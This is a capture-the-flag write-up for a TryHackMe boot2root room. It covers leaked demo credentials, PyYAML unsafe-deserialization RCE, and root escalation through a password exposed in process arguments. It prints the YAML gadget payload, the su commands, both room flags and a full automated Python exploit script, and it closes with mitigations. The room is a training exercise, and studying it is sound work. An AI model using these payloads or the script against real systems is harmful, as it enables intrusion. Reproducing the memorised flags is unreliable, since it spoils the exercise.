Beach Bar — Boot2Root (YAML Deserialization RCE + Credential Reuse)
| Field | Value |
|---|---|
| Target | http://MACHINE_IP |
| Platform | TryHackMe — Hacker Holidays · The Byte Lotus Hotel |
| Category | Boot2Root |
| Difficulty | Easy |
| User flag | THM{y4ml_pl4yl1st_pwns_th3_b34ch} |
| Root flag | THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r} |
Attack Chain (Summary)
dj/dj leaked in HTML comment
│
▼
/login → /import (unsafe PyYAML yaml.load)
│
▼
YAML deserialization RCE → shell as bartender
│
▼
/opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!" (visible in ps aux, runs as root)
│
▼
echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
│
▼
ROOT SHELL → both flags
Step-by-Step
Step 1 — Recon
curl.exe -s -i http://MACHINE_IP
Gunicorn (Flask) app on port 80 redirecting to /login.
Step 2 — Source Code Review: Leaked Credentials
Viewing the login page HTML source revealed a developer comment:
<!--
staff note: the demo DJ login is still enabled for the soft opening.
dj / dj -- swap this before the season starts (ticket BAR-7)
-->
Login: dj / dj
Step 3 — Dashboard Enumeration
After login, /dashboard exposed two features:
-
/import— upload or paste a YAML playlist -
/export— download the current playlist as YAML
Step 4 — PyYAML Deserialization RCE
The /import endpoint deserializes the uploaded playlist with an unsafe loader:
parsed = yaml.load(content, Loader=yaml.Loader)
yaml.Loader can instantiate arbitrary Python objects — classic insecure deserialization → RCE.
Payload (uploaded as a .yml file):
!!python/object/apply:subprocess.check_output
args: ["id"]
kwds: {shell: true}
Response: uid=1001(bartender) gid=1001(bartender) groups=1001(bartender) — command execution as bartender.
Payload quirks (important when crafting commands):
- Shell redirections (
>),2>&1, and backticks makecheck_outputreturn non-zero and the output is lost.- Use
|| echo fallbackto keep exit status 0 and always get output back.sucommands must be single-quoted:echo 'pass' | su root -c 'cat /root/root.txt'.- Uploading the payload as a multipart
playlist_fileavoids YAML string-escaping mangling.
Step 5 — User Flag
cat /home/bartender/user.txt
User flag: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
Step 6 — Privilege Escalation Recon
Process listing exposed a root daemon leaking its secret in the process arguments:
root 610 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass "SunsetSpritz2024!" --bitrate 320k
jukeboxd.service runs as root and its --stream-pass is visible to any user via ps aux (the service file itself is root-owned mode 640, so cat was denied — ps leaks it anyway).
Step 7 — Root Flag (Credential Reuse)
The stream password is reused as the root account password:
echo 'SunsetSpritz2024!' | su root -c 'cat /root/root.txt'
Root flag: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
Automation
solve_beachbar.py performs the entire chain automatically:
python solve_beachbar.py http://MACHINE_IP
[+] Step 1: Login as dj/dj
Logged in as dj.
[+] Step 2: Verify YAML RCE
b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n'
[+] Step 3: Read user flag
Found at /home/bartender/user.txt
USER FLAG: THM{y4ml_pl4yl1st_pwns_th3_b34ch}
[+] Step 4: Extract --stream-pass from process list
Stream pass (ps aux): SunsetSpritz2024!
[+] Step 5: su root and read root flag
Password worked: SunsetSpritz2024!
ROOT FLAG: THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
It was verified with the fallback password deliberately corrupted — the script still solved the room using only the password it extracted from ps aux.
Vulnerabilities
-
Insecure PyYAML deserialization —
yaml.loadwithyaml.Loaderallows arbitrary object construction → RCE asbartender. -
Secret exposure in process arguments —
--stream-passreadable by any local user viaps aux. - Credential reuse — the streaming password is the root password.
Mitigations
| Issue | Fix |
|---|---|
| Unsafe YAML | Use yaml.safe_load (or a JSON schema validator) — never yaml.Loader on untrusted input |
| Secret in argv | Pass secrets via environment files / secret manager, not CLI arguments |
| Reused password | Unique credentials per service; rotate and monitor reuse |
| Hardcoded creds in HTML | Remove demo accounts and dev notes from production source |
Tools Used
-
curl.exe— HTTP requests, login, multipart file upload - PyYAML gadget
!!python/object/apply:subprocess.check_output— RCE -
ps aux/su— privilege escalation - Python (
urllib,re) — full exploit automation insolve_beachbar.py
# Byte Lotus - Beach Bar Boot2Root - FULLY AUTOMATIC SOLVER
# Solves: THM{y4ml_pl4yl1st_pwns_th3_b34ch} / THM{cr3d3nt14l_r3us3_4t_th3_b34ch_b4r}
#
# Does everything by itself:
# 1. Logs in as dj/dj (leaked in HTML comment)
# 2. Confirms YAML deserialization RCE via /import (PyYAML unsafe load)
# 3. Locates and reads the user flag
# 4. Extracts the root password from the jukeboxd process args (--stream-pass)
# 5. su root -> reads the root flag
# 6. Prints both flags
#
# Usage: python solve_beachbar.py [http://IP]
# Default: http://10.49.157.31
import sys
import re
import html as htmllib
import urllib.request
import urllib.parse
import http.cookiejar
import socket
TARGET = (sys.argv[1] if len(sys.argv) > 1 else "http://10.49.157.31").rstrip("/")
TIMEOUT = 15
RETRIES = 3
KNOWN_PASS = "SunsetSpritz2024!" # fallback only; script extracts it from ps if possible
socket.setdefaulttimeout(TIMEOUT)
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
FLAG_RE = re.compile(r"THM\{[^}]+\}")
def http_req(path, data=None, headers=None, method=None):
req = urllib.request.Request(TARGET + path, data=data, headers=headers or {})
if method:
req.get_method = lambda: method
return opener.open(req, timeout=TIMEOUT)
def get(path):
return http_req(path).read().decode(errors="replace")
def post_form(path, data):
body = urllib.parse.urlencode(data).encode()
return http_req(path, data=body, headers={"Content-Type": "application/x-www-form-urlencoded"}).read().decode(errors="replace")
def rce(cmd, retries=RETRIES):
"""Run a command through the PyYAML unsafe-deserialization RCE; return stdout."""
payload = (
"!!python/object/apply:subprocess.check_output\n"
f'args: ["{cmd}"]\n'
"kwds: {shell: true}\n"
)
boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="playlist_file"; filename="p.yml"\r\n'
"Content-Type: application/x-yaml\r\n\r\n"
f"{payload}\r\n"
f"--{boundary}--\r\n"
)
last = ""
for attempt in range(1, retries + 1):
try:
resp = http_req(
"/import",
data=body.encode(),
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
).read().decode(errors="replace")
m = re.search(r"<pre>(.*?)</pre>", resp, re.S)
last = htmllib.unescape(m.group(1)) if m else ""
if last or attempt == retries:
return last
except Exception:
if attempt == retries:
raise
return last
def find_flag_in(text):
m = FLAG_RE.search(text)
return m.group(0) if m else ""
def main():
print(f"[+] Targeting {TARGET}")
# --- Step 1: Login as dj/dj (leaked in HTML comment) ---
print("[+] Step 1: Login as dj/dj")
try:
get("/login")
post_form("/login", {"username": "dj", "password": "dj"})
dash = get("/dashboard")
ok = "logout" in dash.lower() or "import" in dash.lower() or bool(find_flag_in(dash))
if not ok:
print("[-] Login failed — wrong creds or target not the Beach Bar app.")
return
print(" Logged in as dj.")
except Exception as e:
print(f"[-] Login error: {e}")
print("[!] Is the TryHackMe machine running? Start the room and run again.")
return
# --- Step 2: Verify RCE ---
print("[+] Step 2: Verify YAML RCE")
out = rce("id")
print(f" {out.strip() or '(no output)'}")
if "bartender" not in out:
print("[-] RCE failed — /import may be patched or payload blocked.")
return
# --- Step 3: Locate and read user flag ---
print("[+] Step 3: Read user flag")
user_flag = ""
for path in ("/home/bartender/user.txt", "user.txt"):
out = rce(f"cat {path} || ls -la /home/bartender || find / -name user.txt 2>/dev/null || echo NO_FLAG")
user_flag = find_flag_in(out)
if user_flag:
print(f" Found at {path}")
break
if not user_flag:
print("[-] User flag not found — trying to locate it.")
listing = rce("find / -iname '*user*flag*' -o -iname 'user.txt' 2>/dev/null || echo NONE")
print(f" {listing.strip()}")
print(f" USER FLAG: {user_flag or '(not found)'}")
# --- Step 4: Extract root password from jukeboxd process args ---
print("[+] Step 4: Extract --stream-pass from process list")
ps = rce("ps aux")
m = re.search(r"jukeboxd\.py --stream-pass\s+[\"']?([^\"'\s]+)[\"']?", ps)
root_pass = m.group(1) if m else KNOWN_PASS
source = "ps aux" if m else "fallback"
print(f" Stream pass ({source}): {root_pass}")
# --- Step 5: su root -> root flag ---
print("[+] Step 5: su root and read root flag")
root_flag = ""
for candidate in (root_pass, KNOWN_PASS):
out = rce(f"echo {candidate} | su root -c 'cat /root/root.txt' || echo BAD_PASS")
root_flag = find_flag_in(out)
if root_flag:
print(f" Password worked: {candidate}")
break
print(f" {candidate!r} rejected, trying next...")
print(f" ROOT FLAG: {root_flag or '(not found)'}")
# --- Final summary ---
print()
print("=" * 46)
print(f"USER FLAG : {user_flag or 'FAILED'}")
print(f"ROOT FLAG : {root_flag or 'FAILED'}")
print("=" * 46)
if __name__ == "__main__":
main()

Top comments (0)